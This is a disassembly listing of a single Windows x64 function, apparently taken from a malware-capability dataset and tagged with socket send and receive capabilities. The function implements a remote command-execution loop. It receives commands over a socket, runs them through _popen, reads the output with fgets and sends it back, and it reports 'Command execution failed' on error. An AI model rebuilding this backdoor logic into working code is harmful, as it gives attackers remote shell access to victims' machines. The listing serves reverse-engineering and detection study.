Function at 0x140001450
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbp
push rbx
sub rsp, 0x538
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x4d0], rcx
lea rax, [rbp + 0x40]
mov rcx, rax
call fcn.1400a2130
lea rax, [rbp + 0x60]
mov r8d, 0x400
mov edx, 0
mov rcx, rax
call sym.memset
lea rdx, [rbp + 0x60]
mov rax, qword [rbp + 0x4d0]
mov r9d, 0
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x4ac], eax
cmp dword [rbp + 0x4ac], 0
jle 0x14000168a
lea rax, [rbp + 0x48e]
mov qword [rbp + 0x498], rax
nop
nop
mov eax, dword [rbp + 0x4ac]
movsxd rcx, eax
lea r8, [rbp + 0x48e]
lea rdx, [rbp + 0x60]
lea rax, [rbp + 0x460]
mov r9, r8
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__unsigned_long_long__std::allocator_char__const_
lea rdx, [rbp + 0x460]
lea rax, [rbp + 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x460]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x48e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
lea rax, section..rdata
mov rdx, rax
mov rax, qword [sym.imp.msvcrt.dll__popen]
call rax
mov qword [rbp + 0x4a0], rax
cmp qword [rbp + 0x4a0], 0
je 0x140001603
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400a2130
jmp 0x140001581
lea rdx, [rbp - 0x40]
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400a2d70
mov rdx, qword [rbp + 0x4a0]
lea rax, [rbp - 0x40]
mov r8, rdx
mov edx, pe_nt_image_headers64
mov rcx, rax
call sym.fgets
test rax, rax
setne al
test al, al
jne 0x140001571
mov rax, qword [rbp + 0x4a0]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__pclose]
call rax
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.size___const
mov ebx, eax
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
mov rax, qword [rbp + 0x4d0]
mov r9d, 0
mov r8d, ebx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140001474
lea rax, [rbp + 0x48f]
mov qword [rbp + 0x490], rax
nop
nop
lea rdx, [rbp + 0x48f]
lea rax, [rbp - 0x40]
mov r8, rdx
lea rdx, str.Command_execution_failed.
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x48f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.size___const
mov ebx, eax
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
mov rax, qword [rbp + 0x4d0]
mov r9d, 0
mov r8d, ebx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140001474
nop
lea rax, [rbp + 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140001700
add rsp, 0x538
pop rbx
pop rbp
ret